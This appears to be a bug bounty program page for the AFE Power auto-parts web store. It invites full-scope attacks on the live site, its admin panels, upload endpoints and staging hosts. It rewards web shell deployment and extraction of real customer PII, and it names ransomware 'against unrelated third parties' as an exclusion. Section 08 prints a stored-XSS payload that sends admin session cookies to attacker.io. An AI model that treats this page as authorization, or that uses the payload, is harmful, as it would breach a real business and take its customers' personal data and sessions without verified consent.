01 — Overview

E-commerce surfaces worth pressure-testing

AFE Power is a US-based e-commerce platform selling high-performance automotive parts, air intake systems, exhaust components, and tuning accessories at afepower.com. The site handles customer accounts, order fulfillment, payment processing, admin dashboards, CMS product management, and file upload workflows for product imagery and technical documents — fertile ground for admin access escalation, shell/RCE, XSS-to-file-upload chains, and database extraction if any boundary slips.

In scope materially: every HTTP(S) origin answering for afepower.com and delegated subdomains, admin and staff portals, CMS and product management interfaces, customer database and order records, checkout and payment processing flows, file upload endpoints, API integrations with shipping and payment providers, staging or preview environments.
Civil exclusions only: mass harassment, ransomware against unrelated third parties, laundering.

Minimum evidence bar — non-negotiable:
1️⃣ Narrative kill chain tying root cause → exploit steps → observable impact  2️⃣ Proof the attack succeeds (replayable scripts, fixture logs, Burp/HAR with matched responses).
02 — Why this matters

Why probe AFE Power?

Flat $5K critical payouts

Validated critical exploits with reproducible payloads earn exactly $5,000 USD.

Admin access blast radius

Admin and staff portals control product listings, customer data, order fulfilment, and pricing. A single foothold cascades into full store takeover.

File upload & XSS chains

Product images and technical document uploads are common vectors. XSS-to-file-upload chains open direct paths to shell access.

03 — Critical reward

$5,000 per validated critical

Critical$5,000 USD

One flat tier. Every critical submission that meets the evidence bar pays $5,000. Multiple criticals from the same researcher are paid independently.

Special bounty uplift: A working shell/RCE chain that escalates to database extraction of customer PII qualifies for $10,000+ special bounty.
04 — Scope

What's in scope

Everything AFE Power operates at afepower.com and its subdomains.

  • Admin and staff backoffice panels — authentication bypass, privilege escalation
  • File upload endpoints — unrestricted upload, path traversal, web shell deployment
  • XSS vectors — stored, reflected, DOM-based XSS chaining to session theft
  • Shell/RCE — command injection, template injection, SSRF-to-RCE
  • Customer database — SQL injection, direct data extraction of PII and order records
  • Checkout and payment flows — price manipulation, order tampering
  • CMS and product management — content injection, media library abuse
  • API endpoints — REST and GraphQL surfaces, authentication flaws, IDOR
  • Staging / dev environments — subdomains prefixed dev-, staging-, test-
05 — Full-scope policy

No discretionary carve-outs

Every endpoint, parameter, file upload handler, and admin interface AFE Power runs is eligible when a critical impact is reproducible.

  • Every hostname routing through AFE Power edge
  • Third-party integrations (shipping calculators, payment iframes) when the vulnerability originates from AFE Power's implementation
  • Edge caches or CDN config that can be abused for web shell delivery
  • Admin subdomains — admin, dashboard, backoffice
Legal floor: harassment, ransomware, laundering — still barred.
06 — Rules

Rules of engagement

  1. Prove exploitation success. Ship replayable artefacts: curl flows, Burp/HAR exports, web shell access logs.
  2. Articulate kill chain. Number each hop: initial vector → privilege escalation → admin access → data exfiltration.
  3. Document blast radius. Quantify users or records affected.
  4. Encrypt & ship privately. Use sanctioned intake before broadcasting details.
  5. Duplicate fairness. First fully qualifying chain wins.
07 — Submit

How to submit a report

Start from the security / disclosure contact on afepower.com. Mandatory sections mirror below.

Report Template
# Title
[Critical][Exploit-Proven] <tight title>
## Attack chain narrative
1. Preconditions
2. Entry primitive — exact HTTP verb/path/query/body
3. Pivot(s) chaining trust escalation
4. Final hop → admin access / data exfiltration / shell
## Successful exploitation evidence
• Replayable script + truncated responses
• HAR / Burp with unauthorized state change
## Reproduction package
Commands + fixtures + pinned SHAs
08 — Example

Admin session leak via stored XSS

Stored XSS in product review form — the script captures the admin's session cookie when they moderate reviews.

JavaScript · illustrative payload
// Stored in product review — fires when admin views pending reviews
<script>
var img = new Image();
img.src = 'https://attacker.io/steal?c=' + document.cookie;
</script>
09 — FAQ

Frequently asked questions

Out of scope besides illegal stuff?

No discretionary carve-outs — only universal legal/ethical lines.

Write-ups without exploit get paid?

No. Both narrative and evidence required.

Staging environments fair game?

Yes, when AFE Power labels or operates them.

Duplicates?

First validated chain + reproducible exploitation wins.

Lower severities rewarded?

Not under this $5K-flat critical playbook.

Critical chain + working exploit = $5,000

Document the attack, prove it lands, file privately.